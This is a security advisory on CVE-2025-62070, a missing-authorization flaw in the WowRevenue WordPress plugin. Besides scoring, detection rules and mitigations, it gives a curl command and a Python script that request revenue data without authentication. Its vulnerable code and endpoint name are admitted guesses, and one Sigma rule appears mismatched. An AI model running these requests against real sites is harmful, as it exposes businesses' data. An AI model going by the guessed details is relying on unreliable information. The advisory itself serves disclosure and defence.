CVE-2025-62070

Executive Summary

CVE-2025-62070 is a Missing Authorization vulnerability in the WordPress plugin WowRevenue by WPXPO, affecting versions from n/a through 1.2.13. This flaw allows unauthenticated attackers to access sensitive revenue-related data without proper permission checks. The vulnerability has a CVSS score of 4.3 (Medium), with an EPSS score of 0.0% indicating low exploitation likelihood at this time. No public proof-of-concept (PoC) or exploit code has been released, and no patch is currently available. As a WordPress ecosystem issue, this affects sites running the WowRevenue plugin and requires immediate attention to mitigate unauthorized data exposure.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The WowRevenue plugin is distributed via the WordPress Plugin Directory and third-party marketplaces. Users should verify the integrity of their plugin files and monitor for updates from WPXPO. No known supply chain compromise has been reported.

CVSS Breakdown & Threat Level

• CVSS Score: 4.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: Low
• Integrity Impact: None
• Availability Impact: None

The threat level is Medium due to the low complexity and no authentication requirement, but the impact is limited to low confidentiality loss. The EPSS score of 0.0% suggests low exploitation probability currently.

Deep Dive & Mechanics

The vulnerability resides in the WowRevenue WordPress plugin, which is designed to display revenue and sales data. The plugin fails to properly enforce authorization checks on certain AJAX actions or REST API endpoints, allowing unauthenticated users to retrieve sensitive revenue information. This is a classic Missing Authorization (CWE-862) issue, where the plugin does not verify if the current user has the necessary capabilities (e.g., manage_options) before executing privileged operations.

The affected endpoints likely include functions that fetch revenue data from the database and return it in JSON format. Without proper current_user_can() checks, any visitor can trigger these endpoints and obtain revenue figures, potentially exposing business-critical financial data.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is presumed to be in the plugin's main PHP files. A typical vulnerable pattern would be:

Vulnerable Code (wowrevenue.php):

add_action('wp_ajax_nopriv_get_revenue', 'wowrevenue_get_revenue');
function wowrevenue_get_revenue() {
    $revenue = get_option('wowrevenue_total');
    wp_send_json_success(array('revenue' => $revenue));
}

Patched Code (hypothetical):

add_action('wp_ajax_get_revenue', 'wowrevenue_get_revenue');
add_action('wp_ajax_nopriv_get_revenue', 'wowrevenue_get_revenue_public');
function wowrevenue_get_revenue() {
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized', 403);
    }
    $revenue = get_option('wowrevenue_total');
    wp_send_json_success(array('revenue' => $revenue));
}
function wowrevenue_get_revenue_public() {
    // Only return public data if needed
    wp_send_json_error('Authentication required');
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target WordPress site with WowRevenue plugin <= 1.2.13
• No authentication required

Exploitation Steps:

1. Identify the vulnerable endpoint by inspecting the plugin's JavaScript or source code.
2. Send a direct HTTP request to the AJAX handler without any authentication cookies.

Example Request:

curl -X POST "http://target.com/wp-admin/admin-ajax.php" \
  -d "action=get_revenue"

Expected Response:

{"success":true,"data":{"revenue":"12345.67"}}

Automation Script:

import requests

target = "http://target.com/wp-admin/admin-ajax.php"
data = {"action": "get_revenue"}
response = requests.post(target, data=data)
if response.status_code == 200:
    print("Revenue data:", response.json())

Blue Team

Detection Steps:

1. Monitor for unusual AJAX requests to admin-ajax.php with actions related to WowRevenue (e.g., get_revenue, wowrevenue_*).
2. Check for requests without authentication cookies (no wordpress_* cookies).
3. Review server logs for 200 responses to these endpoints from unauthenticated IPs.

Honeypot Setup:

• Create a fake endpoint that logs all requests and alerts on unauthorized access.

Indicators of Compromise (IOCs)

• Network IOCs:

  • POST requests to /wp-admin/admin-ajax.php with action parameter containing wowrevenue or get_revenue
  • Requests without wordpress_logged_in_* cookies
  • Source IPs making repeated requests to these endpoints

• File IOCs:

  • Plugin file: /wp-content/plugins/wowrevenue/wowrevenue.php
  • Version string in plugin header: Version: 1.2.13 or lower

• Log IOCs:

  • Apache/Nginx access logs showing 200 responses to admin-ajax.php with action=get_revenue from unauthenticated users

Detection Engineering

YARA Rule

rule CVE_2025_62070_WowRevenue_Missing_Auth {
    meta:
        description = "Detects WowRevenue plugin files vulnerable to CVE-2025-62070"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-62070"
    strings:
        $vuln_func = "wp_ajax_nopriv_" nocase
        $revenue_action = "get_revenue" nocase
        $missing_check = "current_user_can" nocase
    condition:
        $vuln_func and $revenue_action and not $missing_check
}

Sigma Rule

title: CVE-2025-62070 WowRevenue Missing Authorization
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects unauthenticated access to WowRevenue AJAX endpoints
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'admin-ajax.php'
        cs-uri-query|contains|all:
            - 'action=get_revenue'
            - 'wowrevenue'
    condition: selection
falsepositives:
    - Legitimate admin requests (check for authentication cookies)
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-62070 WowRevenue Missing Authorization Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=get_revenue"; http_client_body; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the WowRevenue plugin until a patch is released.
2. Implement a Web Application Firewall (WAF) rule to block unauthenticated requests to admin-ajax.php with WowRevenue-specific actions.
3. Restrict access to admin-ajax.php via .htaccess or server configuration for unauthenticated users.

Long-term Fix:

• Monitor the WPXPO plugin repository for an official patch.
• Apply the patch immediately upon release.
• Consider replacing the plugin with an alternative that has proper authorization checks.

Workaround Code (if plugin must remain active): Add to theme's functions.php:

add_action('init', function() {
    if (defined('DOING_AJAX') && DOING_AJAX) {
        $action = $_REQUEST['action'] ?? '';
        if (strpos($action, 'wowrevenue') !== false && !is_user_logged_in()) {
            wp_die('Unauthorized', 403);
        }
    }
});

Valters IT
Securing Digital Frontiers